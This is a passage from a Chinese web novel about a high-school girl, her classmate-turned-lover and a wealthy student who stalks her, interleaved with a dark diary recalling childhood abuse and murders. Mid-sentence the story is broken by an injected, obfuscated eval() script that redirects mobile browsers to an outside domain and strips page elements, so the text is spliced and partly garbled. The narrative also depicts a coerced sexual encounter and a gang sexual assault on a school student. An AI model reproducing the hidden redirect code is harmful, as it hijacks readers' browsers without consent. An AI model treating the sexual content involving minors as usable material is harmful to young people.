我特意查过资料,窃听录音不能当作证据,但可以给警方的调查一个方向。 他不会因□□罪入狱,但是会因杀人罪入狱。 曾经遭受过的伤害不会消失。 但我终于可以安息。 …… 可我还是太天真了。 我做错了。 我不该……不该…… 不该……错信。 我的尸体飘在了护城河里,蒙上白翳的眼空洞望向天空。 第二起枪杀案出现了。 天河倒悬,秋水逆流,檐上春燕复归。 池镇迎来又一个夏天。 ——《无名日记》】 …… “在O和P之间画一条辅助线,取其中点,连接到A点……” 同桌沉稳的声音从我左耳进,右耳出。 我已经开始发懵: “你怎么知道取中点?” 他是怎么能从错综复杂的线条中准确找出应该连接哪两个的? 他用笔尖点了点面前的立体几何: “因为要求的是OP平行于面BCD……” 我在努力试图理解。 但我不理解。 最后,只能得出结论: “我觉得你这属于学霸的本能,不是我这种学渣能第一时间看出来的。” “没事,多做几套题你就懂了,套路都是一样的,公式也是万变不离其宗,大部分题目只要练出肌肉反应,看到题干就能知道他要考什么。这也是为什么有些人能看题目报答案。” 他温声解释,我头大如斗: “要做多少题目才能到这个境界?” 他想了想: “每个人都不一样,不要用别人的标准来要求自己。灵灵,你的进步已经很大了,以前还够不上二本线,现在已经稳了。” 我撇嘴: “还不是上不了一本。胖虎,你别给我补习了,别把你的清北补丢了,我怕我的笨蛋病毒会传染给你。” 同桌低头轻笑几声: “怎么会有那种病毒。” “近墨者黑听说过没?” 我还要劝他别把太多精力放我身上,唇上就被他蜻蜓点水般啄了一下,一触即离。 来不及惊愕,见他先是小心翼翼地观察我的反应,见我没有要吐的意思,才轻声道: “这样才能传染。” 21.彩礼 寒假前最后一个上学的日子,早上一到教室,就看到同学们在蠢蠢欲动,早读都不读了,全在讨论寒假去哪里玩,吃什么,喝什么,整个教室闹哄哄的。 曹平祥可能是为了在寒假之前过来把自己借出去的钱和卡带要回来,所以今天也早早出现在了我前桌,班上一个借了他钱的男生正在一口一个“爸爸哥哥”地请求他宽限几天,寒假之后再还钱。 曹平祥平时看着胖墩墩的,整天乐呵呵笑嘻嘻,万事不挂心,但遇到钱的事儿,账算得比谁都清楚: “我的利率是2%,已经是友情价了,你延期还我的话,还要加上拖欠的利息,签字吧。” 说着推过去一张手写的欠条,上头写明了欠款数和应还利息。 不愧是家里做生意的,脑袋就是好使。 那男生叹了口气,还是认命地签了: “寒假我姨妈让我去给她看店,肯定能还上,你怎么不信我,还要立字据的?” “亲兄弟明算账,就算你叫我爸爸也不能例外。”曹平祥打了一棒子又给了个甜枣,递给男生一瓶可乐,“拿去吧,寒假打工愉快。” 男生垮着脸,接过可乐,说了句谢谢哥就走了。 我在后座看得啧啧称奇: “曹小胖,你御人有一套啊。” 他看到我,一改刚才那幅精致资本家的嘴脸,贼八卦地转过身,趴我桌子上小声问: “你知道周驰最近在干嘛吗?” 我想了半天,才从脑海里扒拉出这么个人: “啊,他怎么了?” “他在好好学习!说要考南什么大学来着。” 我迷茫: “他爱考哪儿考哪儿呗。” “那可是最南边的大学,离我们这儿十万八千里,坐飞机也要好几个小时呢,更别提火车,他家里产业都在这儿,跑那么远干嘛?听说他家里人不同意,他正在闹绝食呢。” “他不出国了?” 同桌的声音突兀地插进来。 曹平祥想了想: “我爸也打算送我出国,找的还是跟他同一家的机构,不过后来听说他爸都把材料提交了,他自己跑到机构说不去了,家里闹得天翻地覆,鸡犬不宁的。他爸希望他要么留在身边,要么出国镀金,他倒好,跑到那么远的大学去,又不能镀金。” 我没什么感触地哦了一声,倒是同桌显得有些心神不宁: “他说要考哪所大学?” 曹平祥挠着小胖脑壳想了半天: “南……工?科?……对了南实大!” 我一脸迷茫,听都没听过,同桌淡淡道: “那所大学文科不错,他不一定考得上。” “砸钱呗。”曹平祥耸耸肩,“捐个楼就老实了。” 说实话,虽然曹小胖跟我关系不错,但是他这么说,还是让我产生了一些阶级对立的情绪。 像是看出了我不高兴,他变戏法一样从桌肚里掏出一听可乐: “灵灵,一会儿要是考语文……” 我立刻高兴起来,接过可乐: “包的!” …… 最后一节课的下课铃响起,教室里立刻沸腾了,没等老师离开,大家就开始哐当哐当地拎起提前收拾好的书包往外跑,连桌椅都被撞歪了。 我还在座位上,仰头咕咚咕咚喝可乐,想喝完再走,同桌背着书包站在我身侧,眼含笑意: “别呛着了,边走边喝也可以。” “街上没垃圾桶,拿手里麻烦。”我正好喝完,长舒一口气,易拉罐捏瘪,丢进值日生手里的垃圾桶中。 值日生是沈晓丽,她抬头看到我: “你要走了?” “对呀对呀,寒假结束之后见哦!” 我站在同桌身边对她挥手,她慢了一秒才扬起笑容: “嗯,寒假之后见。对了……” 她好像还想说些什么,在我看向她的时候,却又闭口不言了。 “怎么了?” 我问。 教室里剩下十几个人,吵闹得很,她往我这里走,擦肩而过的时候小声说了句: “小心周驰。” 我困惑地扭头,她已经出去倒垃圾了。 同桌握住我的手紧了紧,我挣扎起来: “胖虎你手劲太大了!” 他松开手,抿唇,却看向沈晓丽的背影: “抱歉。” 我和他并肩走出学校的时候,看到周驰倚着校门,手上捏着张纸片一样的东西,目光定定地望着离开校园的人潮。 他之前染的黄毛已经被他染回了黑色,耳钉全没了,留下耳廓上一排耳洞,看向人群时的神情有些焦急。 同桌不动声色地把我往身后扯,但周驰已经看到我了。 他一步一步向我走来,我没来由地恐慌,仰头看向同桌,他挪了一步,将我完全遮在身后,声音很冷: “你来做什么。” 周驰黑沉沉的目光落在我身上,嘴巴张了张,没说话。 同桌拉着我绕过他,他追上来拽住我另一只手。 “你干什么!?” 我立刻甩开他,躲到同桌身后,警惕地瞪他,手底感觉到同桌的肌肉已经绷紧,是一个蓄势待发的攻击姿势。 周驰唇角扯了扯,似乎露出一个苦笑,把手上的东西塞给我,我低头一看,是张金色的银行卡,还附一张叠好的纸条,展开,上面写了串数字。 ……好像是我的生日。 “送你的。密码给你了。”他说着,完全无视了同桌,视线落在我身上。 “?”我莫名其妙,这世界上怎么真有给人送钱的人? “你没欠我钱吧?” 我看了看那张卡,上面的银行见过,但这种样式的卡还是第一次见。 好像有点贵。 “里面有二十万。”他这句话石破天惊,直接把我愣在当场: “好家伙……彩礼都不敢给这么多,你什么意思啊?” “就是彩礼。”他话音刚落,我就烫手山芋一样把银行卡和纸条都丢回了他身上,还在身上擦了擦手心: “我不要,你拿走!” “听到了吗?她不要。” 同桌此时冷声道。 我扔回去的时候,银行卡不小心在他脖颈刮出一道红痕,我本以为他要暴怒,借题发挥,可是他没有。 他默默弯腰把卡片和纸条捡起来,冷冷与同桌对视,眉眼中尽是狠意,全没了之前叫他大舅子时的亲热,对视几秒后率先移开目光看我: “灵灵,你不要被他骗了。” “他骗我什么了?”我觉得周驰整个人都不太正常了,扯了扯同桌衣角,“走吧,我们回家。” 同桌拉着我,头也不回地走了,周驰也没有追上来。 这简直和他过去嚣张跋扈的作风严重不符,我觉得他可能是被下降头了。 …… 入夜,卧室里拉了窗帘,没有点灯。 我靠坐在床头,同桌一只手撑在我身侧,俯身与我接吻。 气息紊乱之际,他低声问: “这样呢?会不会难受?” 我没有焦距的视线越过他,无意间落在了床头柜上。 他循着望过去,随即用手覆住我的眼睛,哑声道: “别看了。” 我爸妈的头颅至今还藏在床头柜里。 我坚持不下葬,同桌也只能由着我。 如今就好像叫他们目睹我和同桌接吻一样。 我还没那么开放。 “今天就到这里吧。” “去我房间,好不好?” 他说。 他爸妈都在家,我俩接个吻都像在偷情。 我对这种事不太热衷,但他好像致力于“矫正”我的恐惧一般,不知哪里学来脱敏的办法,逮到机会就要亲我。 我垂着眼不说话,他也就不再问,低头又吻了上来。 他的办法也许是有效的,说实话我现在真的有点脱敏了,听他的话闭上眼,顺从地张口,任由他吻得投入,没给什么反应。 不过就算是这样,他也乐此不疲。 温热手掌托住后颈,亲吻的力度柔和珍重,一旦我流露出挣扎的意思,他就会退开一些,缓一缓再继续。 我不知道他说的“是他的问题”,到底是什么意思,明明我总是在这种时候没有道理地应激,想逃,甚至想哭泣,可他却一点也不嫌弃地试图引导我。 津液顺着唇角淌下,舌根发麻,我下意识呜咽了一声,他停住动作,在我耳畔啄吻,轻声安抚: “没事的,灵灵,没事的,别怕。” 我不知道他为什么要让我别怕。 明明我没有在怕任何事。 睁开泛起生理性泪水的眼,眼前人看不分明,我揪住他的衣襟,下意识道: “太黑了。” ——好黑,黑到没有月亮,也没有星星。 ——黑到血流了一地,却早已痛得无知无觉。 ——黑到看不清影影绰绰的野兽,究竟有几只。 我控制不住地抽泣,埋进他怀里,不知道自己是怎么了: “太黑了……什么都看不见……” 他拧亮床头灯,捧着我泪流满面的脸,轻声哄道: “我在这里,灵灵,我在这里。” 暖色灯光下,他神情担忧,眼中映着我的影子。 我不停地擦着眼泪: “好奇怪啊……我为什么要哭。对不起啊胖虎,我不知道怎么回事……” “没事的。没事的。”他一遍遍保证,轻拍我后背,“你是安全的。别怕。” 我还没来得及说话,忽然感觉到同桌身子一震,忙抬头去看,却被他推开了。 同桌捂住鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782077|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,有血流下来。 我脑子里飞掠过许多种可能: “你是上火了?还是得癌症了?” 他在流血,却还在笑: “这两者差太多了吧。” 说着从床头柜抽了张纸,捂住鼻子,瓮声瓮气道: “是看到你才流鼻血的。” 我捶了他一下: “胡说八道!” 刚刚的气氛,不管是旖旎的还是悲伤的,全都烟消云散。 这件事只是个小插曲,同桌之前从未出现过类似的症状,所以我也只当他是最近吃得太燥,上火了。 …… 周驰还没有放弃。 不知道他脑子哪根筋搭错了,竟然托他爸来我家提亲,他自己也跟过来了。 看看,都21世纪了,大清都亡了,主旋律都倡导自由恋爱了,他还搞这套! 同桌爸妈坐在客厅陪客,笑得很尴尬。 我躲在卧室里,同桌不让我出去,而是以哥哥的身份去跟周驰的爸爸周旋。 我把耳朵贴在门板上偷听。 周驰的爸爸开出了很优厚的条件,优厚到如果主人公不是我,我肯定会举双手双脚答应。 不光彩礼二十万,不要嫁妆,而且还会给我毕业后进他们家族企业实习的机会,保证日后一定会担任高层,还有股票房子等等若干财产。 甚至不是空头支票,他们是拿着房屋产权转让书来的。 我也是知道这个时候才知道周驰家的公司市值八千万。 周驰爸爸最后总结: “总之,无论你家灵灵是选择跟着一起出国,还是去念国内大学,我们家都会全额负担学费和生活费,不会让你们的女儿受委屈的。要是觉得她年纪太小,可以先订婚,结婚再等几年也可以。” 同桌的爸妈——现在我该管他们叫伯父伯母了,总之伯父伯母问: “为什么选我家灵灵?” “自从认识了灵灵,我家这个皮猴子不但静下心来读书了,也肯学好了。你知道的,我是做生意的,比较信缘分,你家姑娘管得住他,明显是他的福星,娶回家我是不会有半点异议的。我不求他有什么大出息,这辈子平平安安的不给我惹事丢人就很好。” “这个,还是要孩子们本人同意吧,灵灵她不愿意,我们也不会逼她。” “能不能请孩子出来见见?” 周驰的爸爸终于进入正题。 “这恐怕不方便。” 拦住他的是同桌。 同桌不卑不亢道: “灵灵之前已经跟我讲过这件事了,她说跟周驰只见过几面,和他根本不熟,也不想嫁,这个你去问问她班上的同学,大家都是知道的。更何况周驰之前还追过沈晓丽,为什么又会突然来我们家提亲呢?” 周驰爸爸的声音有些尴尬: “小孩子不懂事,他现在已经跟我保证了,说以后会一心一意只对灵灵好。” “空口无凭。” 同桌依旧不放过。 “所以我把产权转让书都带来了。股权在结婚之后会给。即使以后两个孩子不谈了,也不会追回这些房产。” 条件太优厚了。 再说一遍,如果当事人不是我,我都要流口水了。 伯父伯母沉默了一会儿,说话的依然是同桌: “周驰,你为什么会喜欢灵灵?” 周驰肯定知道我在隔壁听,声音稍稍大了些: “她和其他女生都不一样。在我眼里,她就是特别的,丢到人堆里也能一眼认出来的那种特别。她……她……总之,我就是喜欢她。” 好好好,我都不知道自己有这么特别。 看样子周驰是想长篇大论的,但他说完这句,像是卡了壳,又沉默下去。 说不出来了吧。 我跟他根本就不熟! 最后,伯父伯母只说让他们考虑一下,就把人客客气气请走了。 他们来敲我的门,同桌示意让他来跟我谈。 等伯父伯母都离开,我把门打开一条缝,看到同桌站在门口,神色复杂地看我。 我讷讷把他请进来,有些不好意思: “对不起啊,把你牵扯进来。我跟他真的不熟的,不知道他怎么想的,可能是脑子瓦特了。” 同桌走进来: “不用道歉。把他打发走,是我该做的。我知道你不想跟他扯上关系。” 他垂首看着我,片刻后,忽然反手把门锁了,走近,俯身。 我下意识以为他又要像之前一样冷不丁吻我,闭了眼,身子却一轻,被他打横抱起,压在床上。 “灵灵。”他把头埋在我肩窝,闷声问,“做吗?” 我怔怔地瞪大眼,看着天花板,不知道剧情怎么就发展到这儿了。 就好像我上课的时候弯腰捡了个笔,从此高中三年的数学就再也听不懂了。 22.沉浮 我刚想推他,他却没有像之前一样退开,而是带着恳求的语气,吻我脸颊和眼睛,哄道: “你可以的。灵灵,这么久了,你不会再难受了,是不是?” 我想说,其实我还是会觉得不舒服的,但还没开口,就被他吻住了。 是一样的。 我以为他和别人不一样,但其实是一样的。 床头的小夜灯亮着,他吻我眼睛时,触到细密眼睫下湿漉漉的泪水。 动作顿住,他用指腹拭去从眼角滚落的泪珠,沉默地凝视着我。 我别过脸去,泪水还在不停地流,想到周驰之前回答他的话,带着鼻音,将同样的问题抛给了他: “你为什么喜欢我?” 他身体撑在我上方,呼吸乱了一拍。 为什么? 从小到大,我都是个神经病。 我相信世界上有超能力,觉得古神一定就沉睡在海底两万里,云端之上是天空之城,人死之后有六道轮回,善人来世大富大贵,恶人永世不得超生。 我总觉得学校在晚上关门后会进入异世界,会有徘徊的鬼怪和数不尽的怪谈故事,总有一天操场上空会裂开缝隙,一种名为“虚”的怪物会从中探出头来,然后被一名拿着大刀的高中生斩灭。 我会看奇奇怪怪的书,从《百科全书》到《黄帝内经》,从《解忧杂货店》到《乌鸦永不复生》。 我知道许多旁门左道的知识,会和小朋友掰手腕抢糖吃,抢跷跷板,转头又会自创语言,跟要来咬小朋友的野狗吵架,平等地创飞所有碳基生物。 我会凶巴巴地提起椅子跟欺负我的家伙干架,会拿着大喇叭把在厕所偷窥女孩子的男生名字和班级广而告之,也会跟来和谈的男生家长拍桌子怼人。 我比卢娜还疯。 整个学校,没有人敢惹我。 他们都觉得,我跟精神鉴定书就隔了一个医生。 我做尽了一切“不淑女、没规矩、离经叛道”的事情,和整个社会对“女孩”的规训背道而驰。 为什么还会有人喜欢我啊? 同桌看了我很久,像是在思考,也像是在措辞。 最终,他说: “我会喜欢你,是因为我的‘罪’。” “不许当谜语人!”我怒。 他眸光柔和,缓声问: “你想听实话还是假话?” “我就不能两个都听吗?” “假话是,我对你有欲望。” 我的脸颊滚烫,捂住耳朵瞪着他: “你玷污了我的耳朵!赔我一双没听过这话的耳朵!” “实话想不想听?” 他去拨我的手。 我被他压着,也没什么选择的余地,只好皱着鼻子说: “那你讲。” “实话是……”他眼神有些放空,字斟句酌,娓娓道来,“我一开始,其实很不喜欢你。因为一些自以为是的误会。后来我发现,我不该讨厌你,应该是你恨我才对。” “我为什么要讨厌你?那个误会指的是什么?”我问。 他指腹划过我眼尾,神情复杂,难辨情绪,极为认真地、一寸一寸地摩挲侧脸,音色低哑: “一定要说吗?” “胖虎,你忘了我跟你说过什么?我说什么你都得听——”想到这里,我突然发觉其实我用来拿捏他的那个秘密已经失效了。 他喜欢的不是沈晓丽,是我。 那,那我就没办法拿捏他了。 我泄了气: “不想说算了。” 他在我唇上啄了一下: “我怕我说了,你会真的讨厌我。” “好哇,你果然瞒着我做了亏心事,是不是!?” 我一下子就要去推他,被他稳稳抓住手掌,扣在脸侧枕头上: “不是、不是我做的!” 他掌心已经渗了些汗,一片温热,眉心紧拧: “那不是我做的……和我没有关系。” 我长久地盯着他,一向混沌的逻辑思维突然在此时灵光乍现: “不是你做的,为什么你觉得我会恨你?你是不是还做了别的亏心事?” 他这次承认得倒是痛快: “是。但我不会告诉你。” 好气!真的好气啊! “你撒手!”我挣了挣,他没有动,反而把我按得更紧。 他俯下身,紧紧抱住我。 室内空调送着暖风,毛衣紧贴,随着我的挣扎相互摩擦,差点搓出静电。 但这不是在意静电的时候。 “你不说清楚,就滚下去!” 我用力推着他的胸膛。 同桌没有松手,犹豫片刻才说: “我对你不好,我……让你饿肚子了。” 我的挣扎停了下来,觉得匪夷所思: “就这?” 上次我莫名其妙发了下脾气,控诉他不让我吃鸭血粉丝,他就愧疚成这样? 他声音艰涩,每一句话都说得很慢,举步维艰: “我还,害你痛经。” 这又跟他有什么关系?我痛经那是食堂阿姨的锅,又不是他的! “还有,害得你被周驰纠缠。” 可那次他是为了请我吃烧烤才遇上周驰的啊! 他越说,我的表情越古怪,到最后,伸手探了探他额头: “没病啊。怎么圣父成这样,什么都爱往自己身上揽?” 他注视着我,眼中漾着荧荧微光,像浸在水中的黑曜石: “灵灵,你能原谅我吗?” 我笑了出来: “当然,这又不是什么大事。” 可他脸上没有如释重负的表情,只有慎重的、轻柔的吻,从额头移到眼角,贴在耳畔呢喃: “对不起。” 他用这样珍重的口吻向我道歉,让我几乎错以为自己受了天大的委屈。 室内有些窒闷,我正想把他推开,就听到他的下一句: “别动。” 我先是不解,接着眼睛慢慢瞪大,瞳孔微颤: “你——” 亲吻顺着肩膀,落到了锁骨上。 我穿的毛衣是一字肩,不敢挣扎太过,在他的亲吻中,狼狈地把领子往上提: “我不想,胖虎,你住口!” 他停住动作,眼神隐忍地向上看我: “那我不进去。” 这句话戳到了我的知识荒漠: “什么?” 很快,我就明白他是什么意思了。 他向下吻去。 从未体验过的陌生触感,还有不肯退让的抵死缠绵。 我想逃,却根本逃不掉。 同桌变得很陌生,不再是那个任我搓圆揉扁的小跟班,而是一个可以拿捏我命脉、扼住我身体的…… 和他们一样的…… 侵略者? 他们是谁? 我难以思考,无法思考,侧过脸,腹部不受控制地抽搐着,咬紧手指,眼中漫出泪光,呼吸紊乱,不停地试图去推他脑袋,却难以撼动。 仿佛砧上鱼肉,一点一点,被吞吃入腹。 好像是一样的,但又好像不一样。 相似的场景,好像是漆黑无月的夜,又好像是灯影摇曳的教室,又好像是千千万万个相似场景重叠,我深陷其中,不知轮回了几度春秋。 四季轮番过,灰蝉重回地下,夏季之后,是春日。 十八岁的他,十五岁的他,八岁的他,四岁的他。 还有一成不变的,哭泣的我。 脑海中有个声音突然问我: “很痛苦吗?要换回来吗?” 换什么? 和什么换? 拿什么来换? 白光炸裂,有那么一瞬间,意识漂浮沸腾欲海,我弓起腰身,久久不能回神。 那声音也消失了。 室内空调还在嗡嗡地往外输送暖风,我躺在床上急促喘息,露在毛衣外的肌肤全都在冒热气,如果不是顾忌到家里还有其他人,早就哼出声了。 他从下面爬过来,又要来吻我,我别过头去,不动声色地避开: “去刷牙。” “好。” 身边床铺回弹,他轻笑一声离开了。 …… 【储藏柜被打开,我没有第一时间出去,而是怯怯地看向外面,想看看来开门的是爸爸妈妈,还是……他。 几个小时前把我亲手锁进储藏柜的口口口就蹲在外面,他看我的表情有些不一样,不是厌恶疏离,甚至伸出双手,想来抱我。 我立刻往后缩了缩,看到他身后的镜子里映出我小小的、惊恐的脸。 他的手停在半空中,但没有收回,而是用诱哄的语气说: “别怕,出来吧。” 我固执地没有动,缩在储藏柜的最角落。 一定是爸爸妈妈快回来了,他要跟我演兄妹情深的戏码了。 等爸爸妈妈一离开,他又会恢复成欺负我的嘴脸。 他有些无奈地离开,我松了口气。 但没过多久,他就拿着一根棒棒糖回来了。 “灵灵,想吃糖吗?” 他笑起来很好看,这是我第一次看到他对我展露笑容。 还拿着糖,这么亲密地叫我名字。 我咽了口口水,但还是坚定地摇了摇头。 我上次偷偷吃糖被他发现,跟爸爸妈妈告了状,说我偷家里的钱买糖吃。 那五毛钱是我在街上捡的,我没有交给警察叔叔,我是坏孩子。 所以爸爸妈妈骂我,是应该的。 但我还是讨厌告状的他。 他柔声问我: “你不喜 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我摇了摇头,甚至捧着糖跑远了。 他又自言自语道: “好吧,还需要时间。” …… 高三这年,池镇发生了三起谋杀案。 第一起是几个月前,有个不良少年喝醉酒,失足坠崖淹死了,不过有目睹现场的人说,他像是被吓死的。 第二起是最近,岩边那里同样死了个不良少年,不过案子还没破,所以死因没公布,只是据说还在找凶器。 第三起就在昨天,刚来的转校生季野死了,也是没有找到凶器,不过案发地点在小吃一条街那里,围观者众多,都说流了一地血,场面十分血腥。 池镇向来和平,连只狗都没走丢过,这三起死亡案件还连着发生,直接闹得人心惶惶。 再加上高三学生眼里除了学习,其他都是大事,因此几乎所有同学只要闲下来就在讨论这些,猜测凶手到底是谁。 就连一向稳如泰山的口口口都有些坐不住了。 这几天他看我看得尤其紧,一下晚自习就立马被他催着回宿舍,还必须得由他亲自送到宿舍楼下,他才肯走。 “放心啦,我就是一个普通人,不会有人要我的命的。” 我有些哭笑不得。 口口口却笑不出来,再三叮嘱我入夜不要出门。 我只好答应。 实际上,我和他关系并不算亲密,至少对我来说是这样。 尽管十二岁之后,他对我的态度算是一百八十度大转弯,从以前处处欺负我,到现在护眼珠子一样护着,但我从四岁开始,就被他整整欺负了八年,这个仇是不可能不记的。 我对他怎么也亲近不起来。 他也有所察觉,但什么也没解释,只是依旧没有停止向我靠近。 …… 入夜,女生宿舍照例开启卧谈会。 我一般不发言,不过今晚的话题还是扯到了我身上。 一个女生问我: “你那哥哥是亲的吗?我看他天天送你回来。” 我犹豫了一下: “怎么了?” “要是亲的我可就出手了?” “你想追他?” “嗯呐,好多女生都想追,不过他好像谁都看不上,高冷得很。” 另一个女生插话道: “人家是高材生,将来要去清北的,跟我们不在一个水平线上,等他考上清北,什么样的女生没有?” 气氛有些僵硬,第一个开口的女生迟疑道: “我看他没那么难接近吧……他对灵灵就挺好的。” “人家是他妹妹,能一样吗?” 话题又扯到了我身上: “灵灵啊,你哥他有什么喜欢的东西没有?” 我慎重思考了一下: “他有的时候会去打游戏,不过我没注意过玩的是什么。别的好像没什么爱好了。” 就算有,可能我也没有留心过。 “哎呀,灵灵,你再仔细想想,他喜欢的是什么游戏?我打算也下一个看看!” “那,那我明天帮你问问吧。” “好耶!明天请你吃果冻!” 可等到第二天,当口口口得知我是为了同寝的女生问他喜好时,面对我一向温柔和煦的笑容,第一次结了冰。 他将我困到墙角,一字一句地轻缓问我: “别人要追我,你就没有什么想说的吗?” 我想了想,迟疑: “别影响学习?” 他冷笑,拂袖而去。 行,这是气我不相信他的实力了。 ——《无名日记》】 23.交换 【隔壁班的体育生周驰好像要和沈晓丽联姻了,这是我听前桌曹平祥说的。 他和他们一个阶层,消息总是来得快些。 不过我只认识沈晓丽,周驰远远地见过几面,并不熟。 我安安静静做题,把他的八卦当成背景音,身旁忽然伸来一只手,将我耳畔碎发撩上: “这题思路不对,再想想。” 我的笔尖顿住,重新开始读题。 曹平祥见怪不怪地问: “大学神,你打算去哪个大学啊?” 口口口沉默片刻: “灵灵去哪里,我就去哪里。” “啊?你这妹控是不是有点过于夸张了?”曹平祥啧啧称奇,“以你的成绩,去清北绰绰有余,灵灵恐怕只能上清北旁边的技校。” 我抬眼瞪他,心里不服气,却知道他说的也许是真的。 “不会说话就别说。”口口口第一时间反驳他,“灵灵很聪明,只是方法没找对。” 他说完,沉默了一会儿,又说: “她的成绩……原本可以更好的。” 我奇怪地抬头看他,却见他垂着眼,拿起笔,在刚才那道题的题干处圈了几个关键词,温声提醒: “你再想想。” 我哦了一声,苦思冥想去了。 不过还是有些困惑。 我的成绩中不溜秋的,理科没有任何突出之处,文科里只有语文还算优秀,按照这个趋势下去,高考再冲一冲,勉强可以够到一个末流本一。 他为什么说我原本可以更好? …… 晚自习期间,我离开教室去上厕所,却见有个眼生的男生鬼鬼祟祟地从女厕所出来。 心里重重一跳,我连忙避让,大气不敢喘地躲到拐角处,等他过去之后才瞻前顾后地出来。 ——我的胆子一直不大。 也许是幼时口口口带给我的压抑和痛苦太过根深蒂固,我的勇气只够燃烧指甲盖那么大一小会儿,还不能续航。 即使是现在,我有事也不敢太过麻烦他,尽管他大多数时间能靠观察,猜出我想要什么。 但在他猜不到、顾不到的时候,我宁可忍着,怕他哪一天真的厌了倦了,再让我落入那地狱里。 我心跳如擂鼓,在男生走远后,确认走廊上没有其他人,犹豫着进了女厕。 起初,我以为他在墙上做了手脚,让隔壁的男生得以窥视女厕,但检查了一番之后,发现墙壁上没有开洞。 不再多想,我上完厕所赶紧离开隔间,洗手的时候却发现洗手池刚刚被用过,还有积水。 是刚才那个男生用的吗? 他用洗手池做什么? 我没细想,正准备出去,就听女厕外面传来男生的说话声: “藏好了没?” “放心吧周哥,肯定没人发现,等过几天找人来处理,保证干干净净。” “我看看藏哪儿了。” 我听他们的脚步声,竟然径直往女厕来了,慌不择路之下,躲进了位于洗手池下方的垃圾桶后面——垃圾桶很大,足以掩藏一个人的身形,而隔间下方有空隙,又是蹲厕,藏没藏人,一目了然。 就在我藏好的那一刻,两个对话的男生踏入了女厕,与此同时,我抬头,看到洗手池下方隐秘之处,用胶带贴着个不起眼的黑色包装袋,像是将某个长条状物体裹了一层又一层。 仅凭轮廓看不分明是什么东西,但前不久发生的凶杀案,再加上对方隐匿这个东西的行为,让我一下子就联想到了枪。 一旦想到,越看越像。 脑中轰响,意识到危险的时候已经迟了,二人脚步直直往我这边过来,几秒后,弯下腰的周驰在洗手台下方,与我对上目光。 他脸色阴沉,看了看我,又看了看那个黑色塑料袋,粗暴地将我一把拽出来,掼在地上: “你都看到了?” 我尖叫着被推倒,后脑撞到地面,眼泪一下子就飙了出来,泪眼朦胧中,我拼命挣扎: “没有,我没有看到!” “你知道我是谁吗?” 他跨坐在我身上,揪住我衣领,给同行的男生使了个眼色,对方出门放风去了。 我努力想推开他,被甩了个清脆的耳光,倒吸一口凉气,轻声道: “周驰……” “那你该知道,我想让你消失有多简单吧?” “这件事我不会告诉任何人的!我发誓!” 他居高临下地看着我,忽然像是想到了什么有趣的事情,弯腰拍拍我的脸: “你叫什么?哪个班的?” “……胡灵灵。高三……四班。” “哦……”他意味深长,“沈晓丽的小朋友。” 他的指尖划过我的衣领,慢慢向下游移,我想推开他,又见他高高扬起手,下意识闭上眼,准备迎接第二个耳光。 “叮铃铃——” 下课铃声突兀响起,我的心脏重重一跳。 晚自习结束了。 我大松了口气,他低咒一声,掐着我的下巴警告: “明天晚上八点,还在这里等我,不然你知道的。” 他匆匆离去后,我在厕所里用冷水洗了脸,直到脸上痕迹变淡,眼睛不那么红了,才敢回去。 教室里的人几乎走光了,灯还亮着,口口口坐在座位上做题,几乎在我进教室的第一秒就抬起头来看我: “怎么去这么久?” 我低着头,不让他看到左半边脸的伤: “有点不舒服。” “生理期提前来了?” 他起身,走到我面前,忽然顿住,抬起手,指腹轻触我的左颊: “怎么回事?” 我想起周驰的警告,摇了摇头: “用冷水洗了一下脸,可能是冻的。” 他凝视我片刻: “眼睛呢?怎么是红的?” “……”我嘴唇颤了颤,面对他时,骨子里的疏离让我几乎是下意识撒了谎,“疼。” “哪里疼?”他立刻紧张起来,“肚子不舒服吗?” 我垂着眼,不敢看他的眼睛,缓缓点了一下头。 他沉默片刻,不知想到了什么,揉了揉我的头发,温声道: “上来,我背你回去。” 我嗫嚅着顾左右而言他: “我又不是小朋友。” 他嗓音低沉,笑意缱绻: “但你可以一直是我的小朋友。” 心脏漏跳一拍,我迟了几秒才勉强把脸上红晕压下。 面前这个人,我可以信任他吗? …… 第二天晚上八点,我正要去周驰指定的地点等他,却被他半路蹿出来,拽着胳膊往教学楼外走。 同学们这个时候都在教室里上晚自习,不管是操场还是走廊,都空无一人。 我努力往后退: “你要带我去哪里!?” 周驰手劲非常大,漫不经心: “你手上有我的把柄,我当然要找办法也拿到你的把柄。” “我没有!我发过誓,不会告诉其他人的!” “空口无凭,我可不信。”他捂着我的嘴,把我拽到人工湖边的小树林里,这里竟然已经等了好几个男生,其中就有昨天潜入女厕的那个。 手电筒光白惨惨地照在我脸上,我下意识伸手挡住,又被周驰一把扯开,他掐着我的下巴,得意地向几个男生展示: “我说的吧?” 我听到陌生的男声附和: “那是,我们周哥的眼光没话说!” “哪个班的?以前怎么没注意?光顾着看沈晓丽了,没想到还有美女啊。” “行了,时间有限,赶紧的吧,九点半就下晚自习了。” 周驰说着把我推到地上,我刚要爬起来逃跑,就被拽着手腕按倒,不知是谁压在了我身上,还在问别人: “就这点光,能照到啥啊?” “能照到她脸就行,你往旁边让让,我拍个照。” 我挣扎扭动着,大喊道: “救命!” “救命?你要喊谁来救你啊?”周驰忍不住嗤笑,“这儿离教室远着呢,你留着点力气等会儿再叫吧。” 我拼死挣扎,换来的是毫不留情的拳脚相加。 气力逐渐耗尽,哭泣让大脑缺了氧,恍若濒死。 我想求救,我应该是有个名字可以呼救的,我应该是想要向他求救的! 可那个名字呢!? 不是的,不是的,他不会来救我的! 我曾千百次求救,曾千百次惨烈地呼唤过他的名字。 可他没有来,一次也没有! 救我……救我,口口口救我…… 口口口救我! 阴暗天空一点一点被撕开,云端之上没有名为“虚”的怪物,只有血雨裹着雷龙,翻搅成灾。 …… 一切尘埃落定,晚自习已经快要结束。 他们离开了。 我几乎爬不起来,坐在树下抱紧自己,不知道该怎么办才好。 不知过了多久,天空降下小雨,我往回缩了缩腿,头顶淅淅沥沥的雨忽然之间全都消失不见。 抬头,昏 